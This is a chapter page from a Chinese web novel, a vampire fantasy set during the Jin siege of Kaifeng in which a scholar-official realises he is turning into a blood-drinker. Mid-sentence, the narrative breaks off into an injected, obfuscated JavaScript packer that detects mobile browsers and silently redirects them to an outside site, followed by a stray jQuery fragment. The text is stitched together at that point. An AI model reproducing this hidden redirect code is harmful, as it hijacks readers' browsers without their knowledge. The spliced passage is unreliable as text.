默认冷灰
24号文字
方正启体

2. 第一卷 七个日夜

作者:墨菲斯2099本书字数:K更新时间:
    值房角落的铜漏,滴答。


    子时过半。


    赵承影缓缓抬起手,在烛光下细看。


    手背皮肤下,淡青色的血管隐约可见。他忽然想起那片融化成红雾的雪花。


    然后他听见了。


    不是用耳朵。


    是某种更深处的感知,值房外长廊尽头,那个刚离开的太医局学生,正与同僚低语:“...赵大人那伤,古怪得紧,脉象乱得像有东西在血里窜...”


    血液奔流的声音。心跳的鼓动。生命的气息。


    如此清晰,如此...诱人。


    赵承影猛地闭眼,指甲深深掐进掌心。


    刺痛让他清醒一瞬。他睁开眼,看向镜中。


    烛光下,那双瞳孔里的暗红,已清晰如初凝的血。


    丑时初,尚书省。


    烛火通明,却照不亮满堂官员脸上的阴霾。


    李纲坐在上首,面色铁青,手中捏着一卷黄帛,那是金使刚递来的议和条款。


    “割让中山、太原、河间三镇,岁币银绢各增百万,金帛一千万贯...”李纲每念一句,堂下吸气声便重一分,“还要亲王、宰相为质。”


    “欺人太甚!”兵部侍郎李邴拍案而起,“这和亡国有何区别!”


    “可城外是二十万金军。”少宰张邦昌声音发颤,“城内粮草,至多支撑半月...”


    争论声嗡嗡作响。


    赵承影坐在末席,指尖冰冷。


    颈侧的痒已蔓延至全身,像有无数细针在皮下游走。


    他能清晰听见堂内每一个人的心跳,李纲的沉缓有力,张邦昌的急促虚浮,武将们的粗重搏动。还有血,在那些脖颈皮肤下流动的血,温热,香甜,近在咫尺...


    他猛地握紧拳,指甲陷进肉里。


    “承影?”身旁的同僚低声道,“你脸色极差,若是撑不住...”


    “无妨。”赵承影挤出一句话,喉头发干。


    堂外忽然传来急促脚步声。


    一名禁军都头浑身是雪闯进来,单膝跪地:“禀各位大人!北城急报,金军异动!”


    “说清楚!”李纲霍然起身。


    “丑时前后,金营突然派出数十小队,皆是轻装,行动快得不似人...”都头声音发颤,“他们、他们不是攻城,是在城墙下...捡尸。”


    “捡尸?”


    “是。日间战死的士卒尸首,被他们拖回营去。有夜巡弟兄看见,那些拖尸的...眼睛是红的。”


    堂内霎时死寂。


    赵承影脊背发凉。他想起城墙上那些赤目人影,想起红绡贴在他颈侧的呼吸,想起那声满足的“真香”。


    “妖术...”有人喃喃。


    “是疲兵之计!”李纲强作镇定,“金人欲乱我军心。传令各门,严加戒备,尸首务必收回安葬。”


    议事继续,但气氛已截然不同。


    赵承影看着堂上诸公,忽然觉得可笑,他们在争论割地赔款,在计算粮草兵员,却无人知晓,城外黑暗里蛰伏的,可能根本不是“人”。


    至少,不全是。


    那股燥热又翻涌上来。这次更强烈,像有火在血管里烧。赵承影起身,踉跄走向堂外。


    “承影?”李纲注意到他。


    “下官...不适。”赵承影哑声道,几乎是逃出都堂。


    长廊风雪扑面。他扶住廊柱,大口呼吸。冷空气灌入肺中,非但没压下燥热,反而让那股对“温热”的渴望更清晰。


    “赵大人?”


    身后传来温婉女声。


    赵承影回头。灯笼光下,站着个宫装少女,不过十五六岁年纪,披着白狐裘,眉眼清丽,只是面色苍白,眼下有淡淡的青。


    是顺德帝姬赵璎珞,官家最幼的女儿。


    赵承影在年节宫宴上见过两次,印象里是个安静怯懦的小帝姬。


    “帝姬怎在此处?”他勉强行礼。


    “父皇命我给李大人送参汤。”赵璎珞轻声道,身后侍女端着食盒。她仔细看他,蹙眉,“大人脸色极差,可是受伤了?”


    “小伤,不碍事。”赵承影避开她目光。


    太近了,他能闻到她身上的熏香,能听见她轻柔的呼吸,能“感觉”到那纤细脖颈下,温热血流的脉动。


    甜美的,鲜活的,近在咫尺的...


    他猛地后退一步,脊背撞上廊柱。


    “大人?”赵璎珞担忧地上前一步。


    “别过来!”赵承影低吼。


    少女僵住,眼中闪过一丝惊惶。


    赵承影闭上眼,牙关紧咬。指甲深深陷进掌心,痛楚让他稍微清醒。再睁眼时,他躬身一礼,声音嘶哑:“下官失仪...告退。”


    他转身冲进风雪,几乎是奔跑。


    不能留在这里。不能靠近任何人。尤其不能靠近...她。


    那股渴望,那股想撕开、想啜饮、想将温热液体吞入喉中的冲动,像野兽在体内冲撞。


    他冲回翰林院值房,反手栓上门,背靠着门板滑坐在地。


    冷汗浸透中衣。


    烛火噼啪。


    他低头看自己的手,在昏暗光线下,指甲似乎比平日尖了些,指尖泛着不正常的青白。


    他想起红绡的尖牙,想起那些赤目人影在城墙上的纵跃,想起太医局学生说他“脉象乱得像有东西在血里窜”。


    有什么东西,在那场袭击中,被种进了他身体里。


    有什么东西,正在醒来。


    赵承影艰难起身,走到书案前。


    他要写下来,把所有异常记录下来,这是读书人二十五年养成的本能,用文字锚定现实,对抗荒谬。


    铺纸,研墨,提笔。


    笔尖悬在纸面上方,颤抖。


    他该写什么?写自己可能正在变成吸血的怪物?写城外金军中有非人之物?


    写出去,谁会信?信了,又会如何处置他?


    烛火忽然一晃。


    不是风。窗紧闭着。


    赵承影缓缓抬头。


    值房角落的阴影里,不知何时,多了一个人。


    是个女子,穿着胭脂红的襦裙,外罩墨黑斗篷,斗篷兜帽遮住大半张脸,只露出一个精巧的下巴和嫣红的唇。她斜倚在书架旁,姿态慵懒,像是已在那里站了许久。


    “赵编修。”女子开口,声音柔腻,带着某种奇异的韵律,“奴家苏幕遮,特来探访。”


    赵承影全身绷紧:“你是如何进来的?”


    苏幕遮低笑,迈步从阴影中走出。


    烛光照亮她的脸,眉目如画,肤白胜雪,一双眸子在光线下,泛着暗葡萄酒般的深红。


    “这皇城大内,奴家想进来,总有法子。”


    她在赵承影对面坐下,自顾自倒了杯冷茶,却不喝,只放在鼻尖轻嗅,“倒是赵编修,今夜之后,怕是再也回不去从前了。”


    赵承影握紧袖中藏着的裁纸刀,那是他此刻唯一的武器:“你是金人细作?”


    “金人?”苏幕遮像是听到什么笑话,红唇微弯,“完颜氏那些蛮子,也配驱策奴家?”她放下茶杯,抬眼看他,那双红眸在烛光下流转,“奴家是来帮你的,赵承影。或者说,是来帮我们的新同类。”


    “同类”二字,她说得又轻又慢,像羽毛搔在耳膜。


    赵承影脊背生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301201|198636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寒:“我不明白你在说什么。”


    “你明白。”苏幕遮身体前倾,隔着书案,那双红眸直直看进他眼底,“你颈侧的伤还在痒,对吗?


    你能听见一丈外烛芯爆开的声响,对吗?


    你闻得到三丈廊下那个小宫女月事来的血气,对吗?”


    每一句,都像一把锤子,砸在赵承影心上。


    “你...”他声音发干,“你也是...”


    “嘘。”苏幕遮竖起一根手指,指尖涂着鲜红的蔻丹,“别说那个词。我们有许多称呼,夜行客、血裔、长生种...但最喜欢的,还是人。毕竟,”


    她笑了,露出一点洁白的牙尖,“我们曾经都是。”


    她站起身,踱到窗边,望向窗外沉沉夜色:“完颜赫连太心急了。他以为靠着那点粗浅手段,就能在汴京掀起风浪。却不知这城里,藏着的可不止他一家。”


    赵承影盯着她背影:“完颜赫连是谁?”


    “今夜在城墙上咬你的那位‘红绡’的主人。”


    苏幕遮转身,“金国血狼卫的统领,三百岁的老怪物,最大的梦想是把整个中原变成他的血食猎场。”


    她走回书案前,俯身,隔着纸张看赵承影:“你运气不好,被红绡那种劣等货色咬了。但也运气不坏,因为她没来得及吸干你,张叔夜救了你半条命。


    现在你处在很微妙的状态,半人,半血裔。还能站在日光下,还能吃五谷,但也会渴,会饿,会对鲜血生出欲望。”


    “渴?”赵承影听见自己的声音在抖。


    “对鲜血的渴。”苏幕遮直起身,从袖中取出一个小巧的瓷瓶,放在案上,“这里面的东西,能暂时压下你的渴。但治标不治本。你要活,只有两条路。”


    她竖起两根手指。


    “一,彻底变成我们。我会教你如何狩猎,如何隐藏,如何在暗夜里长生久视。”


    “二,”她顿了顿,红眸里闪过一丝玩味,“找到守夜人,求他们用银钉刺穿你的心。死得痛快些,也好过变成只知饮血的怪物。”


    瓷瓶洁白,在烛光下泛着冷光。


    赵承影看着它,又看向苏幕遮那双非人的红眸。


    窗外风雪呜咽,远处隐约传来四更的梆子声。


    “为什么帮我?”


    苏幕遮笑了,这次笑得有些苍凉:“因为我见过太多像你这样的人。书生,将士,官吏...被拖进这永夜,然后要么疯,要么死,要么变成完颜赫连那样的东西。”


    她转身走向阴影,“这世道,人不像人,鬼不像鬼。多一个清醒的,总好过多一个疯的。”


    她身影没入黑暗,声音渐淡:“三日后子时,醉月楼,天字三号房。若你想活,便来。若想死...”


    余音消散在空气里。


    值房内只剩赵承影一人,和那瓶静静立在案上的瓷瓶。


    他伸出手,指尖触及冰凉的瓷面。


    然后他猛地缩回手,像被烫到。


    烛火噼啪一声,熄灭了。


    【赵承影补记】


    靖康元年十一月癸酉夜


    今遇大变,几乎丧命。


    伤我者非人,双目赤红,齿利如兽,以血为食。张叔夜将军救我,然颈侧受创,归后异状频生:目能夜视,耳聪过人,且...闻血气则饥渴难耐。


    苏氏幕遮夜访,言我为“半人半血裔”,约三日后醉月楼相见。


    余读书廿五载,自诩明理。然今夜之事,非圣贤书可解。


    若苏氏所言为真,则余此身已堕非人之道。然心犹向宋,血犹温热。


    天将明。不知此身,尚能见几日朝阳。


    ,赵承影绝笔
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)